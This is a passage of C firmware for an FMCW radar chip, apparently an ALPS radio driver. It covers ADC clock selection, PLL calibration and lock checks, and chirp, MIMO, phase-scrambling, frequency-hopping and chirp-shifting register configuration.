RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, BIAS_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, IDAC1_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, IDAC3_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, ESL_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, REFPBUF_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, REFNBUF_EN, 0x1);
}
fmcw_radio_switch_bank(radio, 2);
/*400MHz and 800MHz ADC switch*/
//400MHz Bank0 Reg0x26 set as 0x4F,
//Bank1 Reg 0x34, 0x43, 0x52 and 0x61 set as 0x7F;
//800MHz Bank0 Reg0x26 set as 0x3F,
//Bank1 Reg0x34, 0x43, 0x52 and 0x61 set as 0xFF ;
//Test Plan 901
//800MHz support from AlpsB
if (cfg->adc_freq == 20){ //400MHz, signal bandwidth 20MHz
//400MHz
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x0);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0, BW20M_EN, 0x0);
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, CH1_ADC_FILTER, BDW_SEL, 0x0);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CLK_SEL, 0x0);
//default 0x4
RADIO_MOD_BANK_REG(2, ADC_FILTER0, DAT_SFT_SEL, 0x4);
}
else if (cfg->adc_freq == 25){ //400MHz, signal bandwidth 25MHz
//400MHz
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x0);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0, BW20M_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0, BW20M_EN, 0x0);
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, CH1_ADC_FILTER, BDW_SEL, 0x1);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CLK_SEL, 0x0);
//default 0x3 for 16bits output
RADIO_MOD_BANK_REG(2, ADC_FILTER0, DAT_SFT_SEL, 0x3);
}
else if (cfg->adc_freq == 40){ //800MHz, signal bandwidth 40MHz
//800Mhz
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0, BW20M_EN, 0x1);
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, CH1_ADC_FILTER, BDW_SEL, 0x0);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CLK_SEL, 0x1);
//default 0x4
RADIO_MOD_BANK_REG(2, ADC_FILTER0, DAT_SFT_SEL, 0x4);
}
else if (cfg->adc_freq == 50){ //800MHz, signal bandwidth 50MHz
//800Mhz
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0, BW20M_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0, BW20M_EN, 0x1);
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, CH1_ADC_FILTER, BDW_SEL, 0x1);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CLK_SEL, 0x1);
//default 0x4
RADIO_MOD_BANK_REG(2, ADC_FILTER0, DAT_SFT_SEL, 0x3);
}
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CMOS_OUT_EN, 0x1);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, RSTN, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_do_refpll_cal(fmcw_radio_t *radio)
{
uint8_t old_bank;
old_bank = fmcw_radio_switch_bank(radio, 0);
//for refernce PLL, release reset is enough
//Settling time is already been set by default
RADIO_MOD_BANK_REG(0, AUTO_LOCK0, REFPLL_RSTN, 0x0);
RADIO_MOD_BANK_REG(0, AUTO_LOCK0, REFPLL_RSTN, 0x1);
MDELAY(15);
#ifdef CHIP_CASCADE
/* cfg->cascade_mode must not be used here, since initializaiton is not started yet */
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, DIV_CLK, FLTR_CLK_OUT_ENABLE, 0x1);
}
#endif
fmcw_radio_switch_bank(radio, old_bank);
if (fmcw_radio_is_refpll_locked(radio))
return E_OK;
else
return E_REFPLL_UNLOCK;
return E_OK;
}
int32_t fmcw_radio_do_pll_cal(fmcw_radio_t *radio, uint32_t lock_freq)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5);// PLL bank is not considered
//config frequency
RADIO_WRITE_BANK_REG(5,FMCW_START_FREQ_1_0, REG_L(lock_freq));
RADIO_WRITE_BANK_REG(5,FMCW_START_FREQ_1_1, REG_M(lock_freq));
RADIO_WRITE_BANK_REG(5,FMCW_START_FREQ_1_2, REG_H(lock_freq));
RADIO_WRITE_BANK_REG(5,FMCW_START_FREQ_1_3, REG_INT(lock_freq));
//reset to 0 to clean unexpected config
fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_SYNC, 0x0);
RADIO_WRITE_BANK_REG(3, FMCW_START, 0x0);
//mode to 3'b000 is hold mode, single point frequency
RADIO_WRITE_BANK_REG(3, FMCW_MODE_SEL, 0x0);
/* During calibration sync signal is disabled */
RADIO_MOD_BANK_REG(3, FMCW_SYNC, EN, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, ADDER_RSTN, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x1);
//config FMCWPLL's settling time to the largest
fmcw_radio_switch_bank(radio, 2);
RADIO_WRITE_BANK_REG(2, FMCWPLL_SLTSIZE0, 0xFF);
RADIO_WRITE_BANK_REG(2, FMCWPLL_SLTSIZE1, 0xFF);
//On 3MHz bandwidth for fast settling
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO1, LDO25_VOUT_SEL, 0x7);
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, 3MBW_EN, 0x1);
//start FMCWPLL's auto lock logic
RADIO_MOD_BANK_REG(0, AUTO_LOCK0, FMCWPLL_RSTN, 0x0);
RADIO_MOD_BANK_REG(0, AUTO_LOCK0, FMCWPLL_RSTN, 0x1);
MDELAY(3);
fmcw_radio_switch_bank(radio, 3);
/* Turn off START */
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
//shut down 3MHz bandwidth
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LF, 3MBW_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO1, LDO25_VOUT_SEL, 0x4);
//added auto 3MHz bandwidth
fmcw_radio_switch_bank(radio, 3);
//set auto 3MHz bandwidth to enable at down and idle state
RADIO_MOD_BANK_REG(3, AUTO_3MBW, SEL, 0x1);
//enable auto 3MHz bandwidth
RADIO_MOD_BANK_REG(3, AUTO_3MBW, EN , 0x0);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
bool fmcw_radio_is_refpll_locked(fmcw_radio_t *radio)
{
uint8_t old_bank;
old_bank = fmcw_radio_switch_bank(radio, 0);
bool status = RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,REFPLL_LCKED);
fmcw_radio_switch_bank(radio, old_bank);
return status;
}
bool fmcw_radio_is_pll_locked(fmcw_radio_t *radio)
{
uint8_t old_bank;
old_bank = fmcw_radio_switch_bank(radio, 0);
#ifdef CHIP_ALPS_A
bool status = RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,REFPLL_LCKED) &
RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,FMCWPLL_LCKED);
#elif CHIP_ALPS_MP
//fixed analog's routing bug, analog's layout have effected auto lock's logic, confirmed with wenting
//Not a very solid solution, expect to be solved by analog in the next T.O.
bool status = RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,FMCWPLL_LCKED) ? RADIO_READ_BANK_REG_FIELD(0,AUTO_LOCK1,REFPLL_LCKED) :
( RADIO_READ_BANK_REG(0, LOCK_DETECTOR2_1) == 1 &&
RADIO_READ_BANK_REG(0, LOCK_DETECTOR2_2) == 0 &&
RADIO_READ_BANK_REG(0, LOCK_DETECTOR2_3) == 0 );
#endif
fmcw_radio_switch_bank(radio, old_bank);
return status;
}
//enable clock to CPU
int32_t fmcw_radio_pll_clock_en(void)
{
fmcw_radio_t *radio = NULL;
uint8_t old_bank;
old_bank = fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, CBC_EN, CGM_EN, 0x01);
RADIO_MOD_BANK_REG(0, CBC_EN, LDO_EN, 0x01);
RADIO_MOD_BANK_REG(0, CBC_EN, BG_EN, 0x01);
RADIO_MOD_BANK_REG(0, LDO25_PMU, EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LDO1, LDO25_PLL_LDO_EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LDO2, LDO11_VCO_LDO_EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LDO3, LDO11_MMD_LDO_EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LDO4, LDO11_MMD2_LDO_EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LF, DIVCPU_EN, 0x01);
RADIO_MOD_BANK_REG(0, REFPLL_LF, DIVDIG_EN, 0x01);
fmcw_radio_switch_bank(radio, old_bank);
fmcw_radio_refpll_on(radio);
MDELAY(1);
return fmcw_radio_do_refpll_cal(radio);
}
void fmcw_radio_frame_interleave_reg_write(fmcw_radio_t *radio, uint32_t fil_que, uint8_t fil_prd)
{
/* config the frame loop registers */
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_FIL0, REG_L(fil_que));
RADIO_WRITE_BANK_REG(3, FMCW_FIL1, REG_M(fil_que));
RADIO_WRITE_BANK_REG(3, FMCW_FIL2, REG_H(fil_que));
RADIO_WRITE_BANK_REG(3, FMCW_FIL3, REG_INT(fil_que));
RADIO_WRITE_BANK_REG(3, FMCW_FIL_PRD, fil_prd);
if (NUM_FRAME_TYPE == 1)
RADIO_WRITE_BANK_REG(3, FMCW_FIL_EN, 0x0);
else
RADIO_WRITE_BANK_REG(3, FMCW_FIL_EN, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_frame_interleave_pattern(fmcw_radio_t *radio, uint8_t frame_loop_pattern)
{
/* set frame interleave pattern */
uint32_t fil_que = frame_loop_pattern;
uint32_t fil_prd = 0;
fmcw_radio_frame_interleave_reg_write(radio, fil_que, fil_prd);
}
void fmcw_radio_frame_type_reset(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_FIL_EN, 0x0); // reset asserted
RADIO_WRITE_BANK_REG(3, FMCW_FIL_EN, 0x1); // reset deasserted
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_generate_fmcw(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
#ifndef CHIP_CASCADE
fmcw_radio_hp_auto_ch_on(radio,-1);
#endif
/* stop fmcw before programming */
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
/* tx phase */
if ((radio->frame_type_id) == 0) {
uint32_t lock_freq = fmcw_radio_compute_lock_freq(radio);
fmcw_radio_do_pll_cal(radio, lock_freq); /* only run in frame_type 0, do not run in other cases*/
/*Configure all Txs Phase Shifter */
uint32_t ch, reg_val;
for (ch = 0; ch < MAX_NUM_TX; ch++) /* config one time*/
{
reg_val = phase_val_2_reg_val(cfg->tx_phase_value[ch]);
fmcw_radio_set_tx_phase(radio, ch, reg_val);
}
}
/* chirp parameters */
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_1_0, REG_L(radio->start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_1_1, REG_M(radio->start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_1_2, REG_H(radio->start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_1_3, REG_INT(radio->start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_1_0, REG_L(radio->stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_1_1, REG_M(radio->stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_1_2, REG_H(radio->stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_1_3, REG_INT(radio->stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_1_0, REG_L(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_1_1, REG_M(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_1_2, REG_H(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_1_3, REG_INT(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_1_0, REG_L(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_1_1, REG_M(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_1_2, REG_H(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_1_3, REG_INT(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_1_0, REG_L(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_1_1, REG_M(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_1_2, REG_H(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_1_3, REG_INT(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CHIRP_SIZE_1_0, REG_L(radio->nchirp));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CHIRP_SIZE_1_1, REG_M(radio->nchirp));
fmcw_radio_switch_bank(radio, 3);
/* MIMO */
/*turn off VAM mode,ps mode,agc mode bofore turning on to protection switch modes without power off the chip*/
fmcw_radio_special_mods_off(radio); /* only clear one time */
/* virtual array settings */
if (cfg->nvarray >= 2) {
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
if (cfg->tx_groups[ch]>0) {
// set VAM config
uint8_t vam_cfg = 0;
/*Bug fix for anti velamb glitch*/
if (cfg->anti_velamb_en)
vam_cfg = ( 0x41 | (cfg->anti_velamb_en << 3) | (( cfg->nvarray - 1 ) << 1 ));
else
vam_cfg = ( 0x61 | (cfg->anti_velamb_en << 3) | (( cfg->nvarray - 1 ) << 1 ));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_2 + ch * 3, vam_cfg);
/* set VAM group patten*/
uint16_t bit_mux[MAX_NUM_TX] = {0,0,0,0};
bit_parse(cfg->tx_groups[ch], bit_mux);
uint8_t bit_mux_all = 0;
/*Bug fix for anti velamb glitch*/
if (cfg->anti_velamb_en == false)
bit_mux_all = bit_mux[0]<<6 | bit_mux[1]<<4 | bit_mux[2]<< 2 | bit_mux[3];
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_1 + ch * 3, bit_mux_all);
} else {
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_TX0_CTRL_1_2 + ch * 3, 0); // clear 0
}
}
}
/* phase scramble config */
if (cfg->phase_scramble_on) {
fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP0, REG_L(cfg->phase_scramble_tap));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP1, REG_M(cfg->phase_scramble_tap));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP2, REG_H(cfg->phase_scramble_tap));
RADIO_WRITE_BANK_REG(3, FMCW_PS_TAP3, REG_INT(cfg->phase_scramble_tap));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE0, REG_L(cfg->phase_scramble_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE1, REG_M(cfg->phase_scramble_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE2, REG_H(cfg->phase_scramble_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_PS_STATE3, REG_INT(cfg->phase_scramble_init_state));
if(cfg->phase_scramble_on & 0x2)
RADIO_WRITE_BANK_REG(3, PS_RM, 0);
/* Phase scramble configureation for group 1 */
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_PS_EN_1, 0x1); /*enable phase scramble*/
}
/* frequency hopping config */
if (cfg->freq_hopping_on) {
/*config XOR chain*/
fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_HP_TAP0, REG_L(cfg->freq_hopping_tap));
RADIO_WRITE_BANK_REG(3, FMCW_HP_TAP1, REG_M(cfg->freq_hopping_tap));
RADIO_WRITE_BANK_REG(3, FMCW_HP_TAP2, REG_H(cfg->freq_hopping_tap));
RADIO_WRITE_BANK_REG(3, FMCW_HP_TAP3, REG_INT(cfg->freq_hopping_tap));
RADIO_WRITE_BANK_REG(3, FMCW_HP_STATE0, REG_L(cfg->freq_hopping_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_HP_STATE1, REG_M(cfg->freq_hopping_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_HP_STATE2, REG_H(cfg->freq_hopping_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_HP_STATE3, REG_INT(cfg->freq_hopping_init_state));
if(cfg->freq_hopping_on & 0x2)
RADIO_WRITE_BANK_REG(3, HP_RM, 0);
/*config freq parameters*/
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_HP_1_0, REG_L(radio->hp_start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_HP_1_1, REG_M(radio->hp_start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_HP_1_2, REG_H(radio->hp_start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_START_FREQ_HP_1_3, REG_INT(radio->hp_start_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_HP_1_0, REG_L(radio->hp_stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_HP_1_1, REG_M(radio->hp_stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_HP_1_2, REG_H(radio->hp_stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STOP_FREQ_HP_1_3, REG_INT(radio->hp_stop_freq));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_0, REG_L(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_1, REG_M(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_2, REG_H(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_UP_FREQ_HP_1_3, REG_INT(radio->step_up));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_0, REG_L(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_1, REG_M(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_2, REG_H(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_STEP_DN_FREQ_HP_1_3, REG_INT(radio->step_down));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_HP_1_0, REG_L(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_HP_1_1, REG_M(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_HP_1_2, REG_H(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_IDLE_HP_1_3, REG_INT(radio->cnt_wait));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_HP_EN_1, 0x1);
}
/* anti velocity deambiguity config */
if (cfg->anti_velamb_en == true) {
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio,RADIO_BK5_FMCW_CS_AVA_DLY_1_0, REG_L(radio->anti_velamb_cycle));
fmcw_radio_reg_write(radio,RADIO_BK5_FMCW_CS_AVA_DLY_1_1, REG_M(radio->anti_velamb_cycle));
fmcw_radio_reg_write(radio,RADIO_BK5_FMCW_CS_AVA_DLY_1_2, REG_H(radio->anti_velamb_cycle));
fmcw_radio_reg_write(radio,RADIO_BK5_FMCW_CS_AVA_DLY_1_3, REG_INT(radio->anti_velamb_cycle));
/* configure extra chirp */
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
if (cfg->tx_groups[ch] & 0xF) {
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_AVA_EN_1, ( ch << 2 ) | 0x1);
break;
}
}
fmcw_radio_cmd_cfg(radio);
} else {
fmcw_radio_reg_write(radio,RADIO_BK5_FMCW_CS_AVA_EN_1, 0x0);
}
/* chirp shifting config */
if (cfg->chirp_shifting_on) {
fmcw_radio_switch_bank(radio, 3);
RADIO_WRITE_BANK_REG(3, FMCW_CS_TAP0, REG_L(cfg->chirp_shifting_init_tap));
RADIO_WRITE_BANK_REG(3, FMCW_CS_TAP1, REG_M(cfg->chirp_shifting_init_tap));
RADIO_WRITE_BANK_REG(3, FMCW_CS_TAP2, REG_H(cfg->chirp_shifting_init_tap));
RADIO_WRITE_BANK_REG(3, FMCW_CS_TAP3, REG_INT(cfg->chirp_shifting_init_tap));
RADIO_WRITE_BANK_REG(3, FMCW_CS_STATE0, REG_L(cfg->chirp_shifting_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_CS_STATE1, REG_M(cfg->chirp_shifting_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_CS_STATE2, REG_H(cfg->chirp_shifting_init_state));
RADIO_WRITE_BANK_REG(3, FMCW_CS_STATE3, REG_INT(cfg->chirp_shifting_init_state));
if(cfg->chirp_shifting_on & 0x2)
RADIO_WRITE_BANK_REG(3, CS_RM, 0);
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_DLY_1_0, REG_L(radio->chirp_shifting_cyle));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_DLY_1_1, REG_M(radio->chirp_shifting_cyle));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_DLY_1_2, REG_H(radio->chirp_shifting_cyle));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_DLY_1_3, REG_INT(radio->chirp_shifting_cyle));
fmcw_radio_reg_write(radio, RADIO_BK5_FMCW_CS_EN_1, 0x1);
}
fmcw_radio_switch_bank(radio, 3);
//MODE_SEL
//0x00 hold
//0x01 realtime
//0x02 predefined
//0x05 bypass_SDM
RADIO_WRITE_BANK_REG(3, FMCW_MODE_SEL, 0x2);
/* Only need to reset once at beginning */
RADIO_MOD_BANK_REG(3, FMCW_START, ADDER_RSTN, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, ADDER_RSTN, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, EN, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, SEL, 0x3);
RADIO_MOD_BANK_REG(3, FMCW_SYNC_DLY, SYNC_DLY_EN, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, EN, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
/* TODO: auto tx off function */
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_start_fmcw(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
/* set txlo buffer by tx groups status */
fmcw_radio_txlobuf_on(radio);
if (cfg->nvarray >= 2){
int ch;
/* switch SPI source */
radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
if (cfg->bpm_mode==true) {
for (ch = 0; ch < MAX_NUM_TX; ch++) {
if (cfg->tx_groups[ch] > 0)
fmcw_radio_set_tx_status(radio, ch, 0xf);
}
} else {
for (ch = 0; ch < MAX_NUM_TX; ch++)
//fmcw_radio_set_tx_status(radio, ch, 0x0);
fmcw_radio_set_tx_status(radio, ch, 0xF);
}
}
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
/* Reset before start */
RADIO_WRITE_BANK_REG(3, FMCW_MODE_SEL, 0x2);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, ADDER_RSTN, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
/* DMU triggers FMCW_START */
RADIO_MOD_BANK_REG(3, FMCW_START, START_SEL, 1);
fmcw_radio_switch_bank(radio, old_bank);
/* Enable CMD */
raw_writel(RADIO_SPI_CMD_SRC_SEL, RADIO_SPI_CMD_FMCW );
raw_writel(REG_DMU_FMCW_START + REL_REGBASE_DMU, 1);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_stop_fmcw(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
if (cfg->nvarray >= 2 || cfg->phase_scramble_on == true ){
radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
}
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3,FMCW_START,START_SPI,0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : RX_TIA_133omhs:0xF / RX_TIA_250ohms:0x1 / RX_TIA_500ohms:0x2 / RX_TIA_1000ohms:0x4 / RX_TIA_2000ohms:0x8
*/
void fmcw_radio_set_tia_gain(fmcw_radio_t *radio,
int32_t channel_index, int32_t gain)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
if (channel_index != -1)
